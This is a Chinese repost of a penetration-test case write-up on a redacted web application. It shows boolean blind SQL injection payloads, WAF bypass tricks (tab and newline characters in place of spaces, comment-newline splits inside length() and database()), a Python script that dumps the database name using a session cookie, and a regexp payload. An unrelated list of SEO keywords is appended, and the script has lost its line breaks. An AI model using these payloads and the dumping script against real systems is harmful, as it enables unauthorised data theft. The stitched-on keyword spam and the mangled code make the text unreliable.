如何解析SQL的bypass案例分析
发表于:2025-12-03 作者:千家信息网编辑
千家信息网最后更新 2025年12月03日,这篇文章给大家介绍如何解析SQL的bypass案例分析,内容非常详细,感兴趣的小伙伴们可以参考借鉴,希望对大家能有所帮助。一、测试发现一个布尔型注入点,测试过程如下:1、原始请求2、输入'or'1'l
千家信息网最后更新 2025年12月03日如何解析SQL的bypass案例分析
这篇文章给大家介绍如何解析SQL的bypass案例分析,内容非常详细,感兴趣的小伙伴们可以参考借鉴,希望对大家能有所帮助。
一、测试发现一个布尔型注入点,测试过程如下:
1、原始请求
2、输入'or'1'like'1
3、输入'or'1'like'2
4、初步判断存在布尔型sql盲注,然后开始判断库名长度:
5、首先想到可能处理了空格,手工简单测试下:
6、发现:
空格or(不拦截)
or空格(拦截)
or/**/(拦截)
or%09 %0a %0d(不拦截)
二、简单fuzz下字符:
1、or (偶数个~) 也可以bypass
2、奇数个~执行失败:
3、进一步获取库名长度:
4、还是被拦截,猜测是处理了length()或database()函数,简单尝试下:
5、length()被处理掉了,fuzz一下:
6、利用注释换行符组合如length%23%0a()即可绕过:
7、这里还是报错,简单测试了下,把空格键换一下即可解决:
8、继续判断库名长度:
9、database()也被处理掉了,同样的方法可绕过:
10、最终得出数据库长度为7,如下图:
11、获取库名
12、substr未拦截,借助intruder跑一下:
注出第一个字符为l
三、写个脚本拖一下完整库名:
import requestspayloads = 'abcdefghijklmnopqrstuvwxyz_-'database = ''for l in range(1,8):for payload in payloads:burp0_url = "https://xxxxxx.xxxxxxxx.com:443/dms.web/manage/rest/basedata/DutyRecord?sort=EMPLOYEE_NO&order=asc&limit=10&offset=0®isterDate=2020-08-19'or%09substr(database%23%0a(),{0},1)%3d'{1}'%09or'1'like'2&employeeNo=0222&onDutyTime=08%3A00&offDutyTime=17%3A00&usableWorkingHours=9.0&dms_table=%5Bobject+Object%5D%2C%5Bobject+Object%5D%2C%5Bobject+Object%5D%2C%5Bobject+Object%5D%2C%5Bobject+Object%5D%2C%5Bobject+Object%5D%2C%5Bobject+Object%5D%2C%5Bobject+Object%5D%2C%5Bobject+Object%5D&dmsFuncId=15100070&_=1597802235462".format(l,payload)burp0_cookies = {"JSESSIONID": "ABCWB37FFE3DB54BD5705453E681E41F2", "selectDealerCode": "xxxx", "selectusername": "xxxx", "language": "zh_CN"}burp0_headers = {"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:79.0) Gecko/20100101 Firefox/79.0", "Accept": "application/json, text/javascript, */*; q=0.01", "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2", "Accept-Encoding": "gzip, deflate", "Content-Type": "application/json", "X-Requested-With": "XMLHttpRequest", "Connection": "close", "Referer": "https://xxxxxx.yxxxxuxuxo.xxm/dms.web/html/index.html"}resp = requests.get(burp0_url, headers=burp0_headers, cookies=burp0_cookies)if "2018-10-22" in resp.content:database += payloadprint '[*]success\t' + databaseelse:print '[*]dumping......'print '[*]current database is:\t' + database
借助regexp正则匹配也可以实现,payload:
'%20or%0adatabase%23%0a()regexp'%5el'%09or%09'2'like'1
成功注出第一个字符:l,以此类推。
关于如何解析SQL的bypass案例分析就分享到这里了,希望以上内容可以对大家有一定的帮助,可以学到更多知识。如果觉得文章不错,可以把它分享出去让更多的人看到。
空格
长度
处理
测试
字符
案例
案例分析
分析
内容
布尔
更多
还是
帮助
输入
不错
原始
成功
以此类推
偶数
兴趣
数据库的安全要保护哪些东西
数据库安全各自的含义是什么
生产安全数据库录入
数据库的安全性及管理
数据库安全策略包含哪些
海淀数据库安全审计系统
建立农村房屋安全信息数据库
易用的数据库客户端支持安全管理
连接数据库失败ssl安全错误
数据库的锁怎样保障安全
贵阳中小学家庭教育和网络安全
数据库50题
网络安全社会价值
金乡县互联网小镇科技园
生产管理软件开发推荐
数据库创意模型
常州数据网络技术有哪些
锦州app软件开发服务
服务器关闭定时任务还会执行吗
共建网络安全共享网络文明文字
乌兰浩特云服务器存储
动漫软件开发增值税
手机直播营销软件开发
华为手机激活显示网络服务器繁忙
.net图片服务器搭建
全国哲学期刊数据库
如何上网络安全教育课
数据库数据提取到表单
福建电力时间频率同步服务器
永川区网络软件开发流程报价表
实时数据库安全认证
宿迁纽扣网络技术有有限公司
怎么完成数据库链接
施乐700服务器系统
LaySNS数据库密码
中国移动服务器集采各厂家份额
福州企业软件开发
数据库数据的完整性包括哪三种
山西数据库防护箱行业
国内的5g网络技术用的是哪家的